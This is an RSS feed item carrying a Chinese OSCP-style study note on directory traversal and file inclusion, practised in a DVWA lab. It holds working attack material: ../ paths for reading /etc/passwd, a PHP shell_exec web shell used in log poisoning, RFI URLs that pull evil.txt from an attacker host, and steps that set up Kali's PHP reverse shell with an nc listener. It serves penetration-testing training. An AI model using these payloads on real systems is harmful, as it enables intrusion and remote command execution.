<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>漏洞分析 on 静静的安全笔记</title><link>https://ruajingjing.top/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link><description>Recent content in 漏洞分析 on 静静的安全笔记</description><generator>Hugo -- gohugo.io</generator><language>zh-CN</language><lastBuildDate>Tue, 21 Oct 2025 13:57:15 +0000</lastBuildDate><atom:link href="https://ruajingjing.top/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/index.xml" rel="self" type="application/rss+xml"/><item><title>Day27 目录遍历、文件包含与SQL注入漏洞</title><link>https://ruajingjing.top/post/day27-%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86-%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E4%B8%8Esql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/</link><pubDate>Tue, 21 Oct 2025 13:57:15 +0000</pubDate><guid>https://ruajingjing.top/post/day27-%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86-%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E4%B8%8Esql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day27 目录遍历、文件包含与SQL注入漏洞" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h1 id="目录遍历漏洞directory-traversal-vulnerabilities"&gt;目录遍历漏洞（Directory Traversal Vulnerabilities）
&lt;/h1&gt;&lt;p&gt;目录遍历漏洞，也称为路径遍历漏洞，允许攻击者未经授权访问应用程序内的文件，或访问通常无法通过 Web 接口访问的文件（例如 Web 根目录之外的文件）。当输入验证不当时，就会出现此漏洞，从而使攻击者能够使用&amp;quot;../&amp;ldquo;或&amp;rdquo;..&amp;quot;字符来操控文件路径。&lt;/p&gt;
&lt;p&gt;这些攻击可能会暴露敏感信息，但==不会在应用程序服务器上执行代码==。在某些用特定编程语言编写的应用程序服务器上，目录遍历攻击可用于帮助促成文件包含攻击。尽管识别这两类漏洞的技术有所重叠，但它们的最终结果不同。&lt;/p&gt;
&lt;h3 id="识别和利用目录遍历"&gt;&lt;strong&gt;识别和利用目录遍历​&lt;/strong&gt;​
&lt;/h3&gt;&lt;p&gt;搜索目录遍历漏洞始于检查 URL 查询字符串和表单主体，寻找看似文件引用的值，最常见的迹象是 URL 查询字符串中的文件扩展名。&lt;/p&gt;
&lt;p&gt;一旦识别出一些可能的候选参数，我们就可以修改这些值，尝试引用系统上任何用户都应可读的文件，例如 Linux 上的 &lt;code&gt;/etc/passwd&lt;/code&gt;或 Windows 上的 &lt;code&gt;c:\boot.ini&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;让我们回到 Windows 10 实验机上的示例应用程序来演示此漏洞。请确保在继续之前已启动 Apache 和 MySQL。&lt;/p&gt;
&lt;p&gt;从主 Web 索引页面，点击&amp;quot;Menu&amp;quot;显示示例菜单：&lt;/p&gt;
&lt;p&gt;点击&amp;quot;Menu&amp;quot;链接后，URL 会更新并包含一个名为 &lt;code&gt;file&lt;/code&gt;的参数，其值为&amp;quot;current_menu.php&amp;quot;。参数值中出现文件扩展名通常是一个很好的迹象，表明我们应该进一步调查，因为它暗示正在从其他资源包含文本或代码。大多数目录遍历漏洞并不如此明显，但有相当数量的旧版 PHP 应用程序以类似方式加载页面。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021151227046.png"&gt;&lt;/p&gt;
&lt;p&gt;在不知道代码具体实现的情况下，我们可以通过更改 &lt;code&gt;file&lt;/code&gt;参数的值开始试探。如果我们将&amp;quot;current_menu.php&amp;quot;更改为&amp;quot;old.php&amp;quot;之类的值，我们会得到一个错误而不是菜单：&lt;/p&gt;
&lt;p&gt;请注意，错误消息表明服务器未能打开要包含的文件，并返回了完整的文件路径。这表明我们很可能可以通过操纵 &lt;code&gt;file&lt;/code&gt;参数来控制页面中呈现的内容。如果我们之前不知道目标是 Windows 主机，这个错误消息也会泄露这一点。它还包含了应用程序的源目录信息。操作系统信息在利用目录遍历漏洞时至关重要。&lt;/p&gt;
&lt;p&gt;由于我们知道应用程序运行在 Windows 系统上，让我们更新我们的载荷，以 Windows 的 hosts 文件为目标。在 Windows 系统上，这是一个有用的目标文件，因为它稳定可靠且任何用户都可访问。&lt;/p&gt;
&lt;p&gt;让我们将参数值更改为 &lt;code&gt;c:\windows\system32\drivers\etc\hosts&lt;/code&gt;并提交 URL：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021151257789.png"&gt;&lt;/p&gt;
&lt;h3 id="练习"&gt;练习​​
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;利用该目录遍历漏洞，读取你的靶机上的任意文件。
这里使用dvwa靶场来演示
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021155312514.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021155358032.png"&gt;
找到&lt;code&gt;?page=&lt;/code&gt; 的注入点后就尝试输入 &lt;code&gt;page=../../../../../etc/passwd&lt;/code&gt; 就能目录遍历到根目录读取用户配置文件。这里输入多个&lt;code&gt;../&lt;/code&gt; 是为了利用Linux的特性，&lt;code&gt;../&lt;/code&gt; 表示回到上一级目录。因为此时我们不知道这个网页的php在Linux系统中的哪个目录，用多个&lt;code&gt;../&lt;/code&gt; 能确保返回到根目录&lt;code&gt;/&lt;/code&gt; 然后再从根目录访问文件的绝对目录。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021155559503.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021161312855.png"&gt;
这个靶场的特性没有过滤&lt;code&gt;/&lt;/code&gt;字符，所以直接输入&lt;code&gt;page=/etc/passwd&lt;/code&gt; 也是能访问成功的。登录到靶机的docker环境中可以看到etc下面有这些文件（做参考），比较有用的就是passwd, hosts, hostname, shadow 等，这几个文件一般在Linux服务器上都普遍存在，其中要注意的是shadow文件可能因为权限问题无法读取，需要提权后再读。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021155850784.png"&gt;
找到dvwa靶场的网页文件，发现除了页面上展示的1，2，3文件，还有一个file4.php 文件
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021160411211.png"&gt;
在页面上访问可以看到4的内容，提示我们这个就算是找到靶场的隐藏文件了。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021160615267.png"&gt;
值得注意的是，靶场对file4.php的内容是直接渲染的，渲染成php文件在页面中。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021160858638.png"&gt;
而对其他文件，etc/passwd 和根目录下一个.sh 文件则是直接显示文字内容，没有渲染也没有执行sh的命令。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021161026348.png"&gt;
这是因为这个靶场演示的还是文件包含，文件包含与目录遍历的区别就是文件包含能够直接执行或者渲染文件要做的内容，而目录遍历只能看看。通常，如果找到一个目录遍历的洞之后，配合文件上传之类的漏洞上传了一句话木马发现木马执行不成功，或者在蚁剑中怎么也连不上，就要考虑这个注入点只是目录遍历而没有文件包含，文件==只是作为文字内容显示，而不能执行其内容==。此时就要考虑在找找有没有文件包含的洞，让上传的马跑起来。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251021172510896.png"&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h1 id="文件包含漏洞file-inclusion-vulnerabilities"&gt;文件包含漏洞（File Inclusion Vulnerabilities）
&lt;/h1&gt;&lt;p&gt;与仅显示文件内容的目录遍历不同，&lt;strong&gt;文件包含漏洞&lt;/strong&gt;允许攻击者将文件包含到应用程序的运行代码中。要真正利用文件包含漏洞，我们不仅需要能够执行代码，还必须能够将shell载荷写入某个地方。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;本地文件包含(LFI Local File Inclusion)&lt;/strong&gt; 发生在被包含的文件从同一Web服务器加载时。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;远程文件包含(RFI Remote File Inclusion)&lt;/strong&gt; 发生在从外部源加载文件时。这些漏洞通常出现在PHP应用程序中，但也可能出现在其他编程语言中。&lt;/p&gt;
&lt;p&gt;这些漏洞的利用取决于应用程序编写的编程语言和服务器配置。对于PHP来说，语言运行时的版本和Web服务器配置，特别是php.ini中的值(如&lt;code&gt;register_globals&lt;/code&gt;和&lt;code&gt;allow_url_wrappers&lt;/code&gt;)，对这些漏洞的利用方式有着重大影响。&lt;/p&gt;
&lt;p&gt;请注意，目录遍历漏洞通常与LFI结合使用，特别是用于指定LFI载荷中使用的文件。&lt;/p&gt;
&lt;h2 id="识别文件包含漏洞"&gt;识别文件包含漏洞
&lt;/h2&gt;&lt;p&gt;文件包含漏洞的发现方式与目录遍历相同。我们必须找到可以操纵的参数，并尝试使用它们来加载任意文件。然而，文件包含更进一步，我们尝试在应用程序中==执行文件的内容==。&lt;/p&gt;
&lt;p&gt;我们还应该检查这些参数是否容易受到远程包含(RFI)的攻击，方法是将它们的值更改为URL而不是本地路径。由于现代PHP版本的默认配置禁用了远程URL包含(这是执行远程代码所需的关键功能)，我们不太可能找到RFI漏洞。然而，我们仍应测试RFI，因为它们通常比LFI更容易利用。&lt;/p&gt;
&lt;p&gt;我们可以使用Netcat、Apache或Python来处理请求，就像我们在XSS中所做的那样。我们可能需要尝试在不同端口上托管载荷，因为目标服务器发起的任何远程连接都可能受到内部防火墙或路由规则的限制。可能需要一些试错。&lt;/p&gt;
&lt;h2 id="利用本地文件包含lfi"&gt;利用本地文件包含(LFI)
&lt;/h2&gt;&lt;p&gt;一个示例应用程序，我们将从目录遍历攻击中断的地方继续，查看menu.php的源代码以明确我们正在处理的内容：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;file&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;include&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;应用程序从请求查询字符串中读取file参数，然后将该值与&lt;code&gt;include&lt;/code&gt;语句一起使用。这意味着应用程序将&lt;strong&gt;执行指定文件中的任何PHP代码&lt;/strong&gt;。如果应用程序使用&lt;code&gt;fread&lt;/code&gt;打开文件并使用&lt;code&gt;echo&lt;/code&gt;显示内容，文件中的任何代码都将被显示而不是执行。&lt;/p&gt;
&lt;p&gt;如果我们能够以某种方式将PHP代码写入本地文件，我们可能能够将此漏洞推进到远程代码执行。由于我们无法将文件上传到服务器，我们有哪些选择？&lt;/p&gt;
&lt;h3 id="污染日志文件"&gt;污染日志文件
&lt;/h3&gt;&lt;p&gt;我们可以尝试通过&lt;strong&gt;日志文件投毒&lt;/strong&gt;将代码注入服务器。大多数应用服务器会记录所有请求的URL。我们可以利用这一点，提交包含PHP代码的请求。一旦请求被记录，我们就可以在LFI载荷中使用日志文件。&lt;/p&gt;
&lt;p&gt;首先，注意整个载荷是用PHP编写的：它以&lt;code&gt;&amp;lt;?php&lt;/code&gt;开始，以&lt;code&gt;?&amp;gt;&lt;/code&gt;结束。PHP载荷的主体是一个简单的&lt;code&gt;echo&lt;/code&gt;命令，它将输出打印到页面。这个输出首先被包裹在&lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; HTML标签中，这些标签保留结果中的任何换行符或格式。接下来是函数调用本身，&lt;code&gt;shell_exec&lt;/code&gt;，它将执行操作系统命令。最后，操作系统命令通过&lt;code&gt;_GET['cmd']&lt;/code&gt;从GET请求的&amp;quot;cmd&amp;quot;参数中检索。这一行PHP代码将允许我们通过查询字符串指定操作系统命令，并在浏览器中输出结果。&lt;/p&gt;
&lt;p&gt;现在让我们发送该载荷：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:~$ nc -nv 10.11.0.22 &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;10.11.0.22&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;80&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;http&lt;span class="o"&gt;)&lt;/span&gt; open
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&amp;lt;?php &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;lt;pre&amp;gt;&amp;#39;&lt;/span&gt; . shell_exec&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cmd&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt; . &lt;span class="s1"&gt;&amp;#39;&amp;lt;/pre&amp;gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;HTTP/1.1 &lt;span class="m"&gt;400&lt;/span&gt; Bad Request
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;尽管出现&amp;quot;Bad Request&amp;quot;错误(因为我们没有发出有效的HTTP请求)，我们可以通过检查Windows 10实验机器上的Apache日志文件来验证请求已提交。&lt;/p&gt;
&lt;p&gt;我们可以通过打开&lt;code&gt;apache\logs\access.log&lt;/code&gt;或使用XAMPP控制面板（Windows）来查看这些日志。&lt;/p&gt;
&lt;p&gt;我们的载荷应该在日志文件末尾附近找到：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;10.11.0.4 - - [30/Nov/2019:13:55:12 -0500]
&amp;#34;GET /css/bootstrap.min.css HTTP/1.1&amp;#34; 200 155758 &amp;#34;http://10.11.0.22/menu.php?file=\\Windows\\System32\\drivers\\etc\\hosts&amp;#34; &amp;#34;Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0&amp;#34;

10.11.0.4 - - [30/Nov/2019:13:58:07 -0500] &amp;#34;GET /tacotruck.php HTTP/1.1&amp;#34; 200 1189 &amp;#34;http://10.11.0.22/menu.php?file=/&amp;#34; &amp;#34;Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0&amp;#34;

10.11.0.4 - - [30/Nov/2019:14:01:41 -0500] &amp;#34;&amp;#34;&amp;lt;?php echo &amp;#39;&amp;lt;pre&amp;gt;&amp;#39; . shell_exec($_GET[&amp;#39;cmd&amp;#39;]) . &amp;#39;&amp;lt;/pre&amp;gt;&amp;#39;;?&amp;gt;\n&amp;#34; 400 981 &amp;#34;-&amp;#34; &amp;#34;-&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;由于我们的载荷已被记录，我们可以尝试LFI执行。&lt;/p&gt;
&lt;h3 id="lfi代码执行"&gt;LFI代码执行
&lt;/h3&gt;&lt;p&gt;接下来，我们将使用LFI漏洞来包含包含我们PHP载荷的Apache &lt;code&gt;access.log&lt;/code&gt;文件。我们知道应用程序正在使用&lt;code&gt;include&lt;/code&gt;语句，因此包含文件的内容将作为PHP代码执行。&lt;/p&gt;
&lt;p&gt;我们将构建一个URL，其中包括日志的位置以及要执行的命令(ipconfig)作为cmd参数的值：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/menu.php?file=\path\apache\logs\access.log&amp;amp;cmd=ipconfig
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;一旦URL发送到Web服务器，输出应该如下所示：&lt;/p&gt;
&lt;p&gt;如果一切按预期工作，页面底部应该包括ipconfig的输出。&lt;/p&gt;
&lt;p&gt;那么到底发生了什么？由于应用程序的PHP &lt;code&gt;include&lt;/code&gt;语句和我们指定要包含哪个文件的能力，被污染的access.log文件的内容被网页执行了。&lt;/p&gt;
&lt;p&gt;PHP引擎反过来运行日志文件文本中的&lt;code&gt;&amp;lt;?php echo shell_exec($_GET['cmd']);?&amp;gt;&lt;/code&gt;部分(我们的载荷)，cmd变量的值为&amp;quot;ipconfig&amp;quot;，本质上在目标上运行ipconfig并显示输出。日志文件中的其他行只是被显示，因为它们不包含有效的PHP代码。&lt;/p&gt;
&lt;h3 id="练习-1"&gt;练习
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;通过使用LFI攻击获得代码执行&lt;/li&gt;
&lt;li&gt;使用代码执行获得完整的shell&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022104954594.png"&gt;
日志文件污染的方法，但是这个dvwa没成功，所以这次用靶场的文件上传功能演示LFI。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022105800119.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022105956381.png"&gt;&lt;/p&gt;
&lt;h2 id="远程文件包含rfi"&gt;远程文件包含(RFI)
&lt;/h2&gt;&lt;p&gt;远程文件包含(RFI)漏洞不如LFI常见，因为服务器必须以非常特定的方式配置，但它们通常更容易利用。例如，PHP应用程序必须将&lt;code&gt;allow_url_include&lt;/code&gt;设置为&amp;quot;On&amp;quot;。旧版本的PHP默认开启此选项，但较新版本默认为&amp;quot;Off&amp;quot;。如果我们可以强制Web应用程序加载远程文件并执行代码，我们在创建利用载荷方面就有更多的灵活性。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022102406853.png"&gt;&lt;/p&gt;
&lt;p&gt;让我们看一个RFI漏洞的例子。之前演示的LFI漏洞也容易受到RFI攻击。考虑以下情况：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/menu.php?file=http://10.11.0.4/evil.txt
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这个请求将强制PHP Web服务器尝试从我们的Kali攻击机器包含一个远程文件。我们可以通过在Kali机器上启动netcat监听器来测试这一点，然后在Windows 10目标上提交URL：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:~$ sudo nc -nvlp &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;listening on &lt;span class="o"&gt;[&lt;/span&gt;any&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;80&lt;/span&gt; ...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;connect to &lt;span class="o"&gt;[&lt;/span&gt;10.11.0.4&lt;span class="o"&gt;]&lt;/span&gt; from &lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;10.11.0.22&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="m"&gt;50324&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;GET /evil.txt HTTP/1.0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;Host: 10.11.0.4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;Connection: close
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;输出显示，当提交URL时，Windows 10机器确实连接到我们的Kali机器，试图检索evil.txt文件。如果文件被检索到，它将进一步尝试包含并执行它。&lt;/p&gt;
&lt;p&gt;虽然这是一个简单的例子，但URL是有效的，过程是有效的，本质上允许我们加载并执行托管在远程Web服务器上的任何文件。&lt;/p&gt;
&lt;h3 id="rfi技巧"&gt;RFI技巧
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;空字节绕过&lt;/strong&gt;：旧版本的PHP存在一个漏洞，其中空字节(%00)将终止任何字符串。这个技巧可用于绕过服务器端添加的文件扩展名，对文件包含很有用，因为它防止文件扩展名被视为字符串的一部分。换句话说，如果应用程序读取参数并向其追加&amp;quot;.php&amp;quot;，在参数中传递的空字节有效地结束字符串而不带&amp;quot;.php&amp;quot;扩展名。这使攻击者在文件包含漏洞中可以加载的文件方面具有更大的灵活性。
&lt;strong&gt;问号技巧&lt;/strong&gt;：RFI载荷的另一个技巧是以问号(?)结尾，将服务器端添加到URL的任何内容标记为查询字符串的一部分。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;要查看实际效果，我们可以设置Apache服务器来托管恶意的evil.txt文件，其中包含我们在日志投毒攻击中使用的相同PHP命令shell。创建文件后，我们将快速重启Apache：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:/var/www/html$ cat evil.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&amp;lt;?php &lt;span class="nb"&gt;echo&lt;/span&gt; shell_exec&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cmd&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; ?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:/var/www/html$ sudo systemctl restart apache2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;一旦文件就位且我们的Web服务器正在运行，我们可以将RFI攻击URL发送到Windows 10机器上的易受攻击的Web应用程序，看看我们的代码是否执行：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/menu.php?file=http://10.11.0.4/evil.txt&amp;amp;cmd=ipconfig
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="webshell说明"&gt;Webshell说明
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Webshell&lt;/strong&gt;是一小段软件，提供基于Web的命令行界面，使执行命令更容易、更方便。webshell有很多类型，Kali在&lt;code&gt;/usr/share/webshells&lt;/code&gt;中包含了几个，用多种常见的Web应用程序编程语言编写。与往常一样，在使用这些文件之前请查看其内容。基于这些简单示例的成功，我们可以使用Apache(或其他HTTP服务器)为RFI托管这些shell，扩展我们的能力。&lt;/p&gt;
&lt;p&gt;现在我们可以在服务器上执行代码，借助Kali Linux附带的webshell，从代码执行到获得shell应该是一件简单的事情。&lt;/p&gt;
&lt;h3 id="练习-2"&gt;练习
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;利用Web应用程序中的RFI漏洞并获得shell&lt;/li&gt;
&lt;li&gt;使用Kali附带的webshell之一在Windows 10目标上获得shell&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Kali 自带了一些php反弹的代码，只要使用下面的命令搜索复制到当前文件夹，然后修改ip和端口，在kali上启动一个简单的http服务，确保ip地址可以访问，靶机的all_url_include选项开启，就可以直接访问kali上的php弹回shell了&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cp /usr/share/webshells/php/php-reverse-shell.php .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sed -i -E &lt;span class="s2"&gt;&amp;#34;s/ip\s*=\s*&amp;#39;127\.0\.0\.1&amp;#39;\s*;/ip = &amp;#39;172.168.169.141&amp;#39;;/g; s/port\s*=\s*1234\s*;/port = 4777;/g&amp;#34;&lt;/span&gt; php-reverse-shell.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;python -m http.server
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;rlwrap -cAr nc -nlvp &lt;span class="m"&gt;4777&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 网页访问&lt;/span&gt;
